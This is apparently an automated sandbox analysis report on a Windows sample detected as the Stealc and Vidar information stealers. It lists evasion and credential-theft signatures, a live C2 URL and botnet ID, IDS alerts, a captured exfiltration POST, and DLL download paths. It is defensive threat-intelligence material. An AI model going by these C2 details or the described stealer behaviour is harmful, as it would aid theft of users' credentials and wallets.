Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1538237
MD5:	af7d0452fa5d881625339c18a6387da5
SHA1:	91806ce1e00019838d86d865f829977aa06fbace
SHA256:	b680882b4d4010f0d63cc3f327b123006581456800d622dd54e01f577f17d8e2
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5948 cmdline: "C:\Users\user\Desktop\file.exe" MD5: AF7D0452FA5D881625339C18A6387DA5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.2380756269.0000000000768000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.2149042786.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5948	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5948	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5948	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5948	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.file.exe.af0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T21:16:05.287086+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.6	49711	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T21:16:05.280795+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49711	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T21:16:05.626798+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49711	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T21:16:06.875839+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49711	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T21:16:05.634022+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.6	49711	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T21:16:04.935103+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49711	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-20T21:16:07.960544+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-20T21:16:14.276533+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-20T21:16:15.647430+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-20T21:16:16.330157+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-20T21:16:16.974622+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-20T21:16:17.837454+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP
2024-10-20T21:16:18.254457+0200	2803304	3	Unknown Traffic	192.168.2.6	49711	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDGHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 44 30 45 34 37 45 34 43 44 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="hwid"7D0E47E4CD7B1953448019------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="build"doma------JECBGCFHCFIDHIDHDGDG--

Source: file.exe, 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.2380756269.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37.com
Source: file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll&
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dllm5
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2380756269.0000000000791000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000001.00000002.2380756269.0000000000791000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllV
Source: file.exe, 00000001.00000002.2380756269.0000000000791000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllh
Source: file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllpData
Source: file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllrowser
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll;5
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll_5
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dlls5y
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2246239194.00000000007CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000001.00000003.2246239194.00000000007CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll&
Source: file.exe, 00000001.00000003.2246239194.00000000007CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllh
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dllO
Source: file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/7
Source: file.exe, 00000001.00000003.2246239194.00000000007CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.pI5
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2380756269.0000000000791000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2246239194.00000000007CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php%
Source: file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.dll
Source: file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpA
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpCash
Source: file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpJ:
Source: file.exe, 00000001.00000003.2246239194.00000000007CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpQ5
Source: file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpY
Source: file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpata
Source: file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpf
Source: file.exe, 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpom
Source: file.exe, 00000001.00000002.2380756269.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpq
Source: file.exe, 00000001.00000002.2380756269.00000000007C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpronCash
Source: file.exe, 00000001.00000002.2380756269.000000000074E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37j
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000001.00000002.2397845122.000000001D353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2408818094.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: AAEBAKKJ.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000001.00000002.2403036116.00000000292F6000.00000004.00000020.00020000.00000000.sdmp, KECGDBFCBKFIDHIDHDHI.1.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000001.00000002.2403036116.00000000292F6000.00000004.00000020.00020000.00000000.sdmp, KECGDBFCBKFIDHIDHDHI.1.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: AAEBAKKJ.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: AAEBAKKJ.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: AAEBAKKJ.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000001.00000002.2403036116.00000000292F6000.00000004.00000020.00020000.00000000.sdmp, KECGDBFCBKFIDHIDHDHI.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000001.00000002.2403036116.00000000292F6000.00000004.00000020.00020000.00000000.sdmp, KECGDBFCBKFIDHIDHDHI.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: AAEBAKKJ.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: AAEBAKKJ.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: AAEBAKKJ.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: KECGDBFCBKFIDHIDHDHI.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: CFHIIJDBKEGIDHIDAFCFBGHIJD.1.dr	String found in binary or memory: https://support.mozilla.org
Source: CFHIIJDBKEGIDHIDAFCFBGHIJD.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CFHIIJDBKEGIDHIDAFCFBGHIJD.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000001.00000002.2403036116.00000000292F6000.00000004.00000020.00020000.00000000.sdmp, KECGDBFCBKFIDHIDHDHI.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: AAEBAKKJ.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: AAEBAKKJ.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: CFHIIJDBKEGIDHIDAFCFBGHIJD.1.dr	String found in binary or memory: https://www.mozilla.org
Source: CFHIIJDBKEGIDHIDAFCFBGHIJD.1.dr	String found in binary or memory: https://www.mozilla.org#
Source: CFHIIJDBKEGIDHIDAFCFBGHIJD.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: CFHIIJDBKEGIDHIDAFCFBGHIJD.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: CFHIIJDBKEGIDHIDAFCFBGHIJD.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000001.00000002.2403036116.00000000292F6000.00000004.00000020.00020000.00000000.sdmp, KECGDBFCBKFIDHIDHDHI.1.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB0B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6CB0B700
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB0B8C0 rand_s,NtQueryVirtualMemory,	1_2_6CB0B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CB0B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	1_2_6CB0B910
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAAF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	1_2_6CAAF280

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EBD865	1_2_00EBD865
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00EC2863	1_2_00EC2863
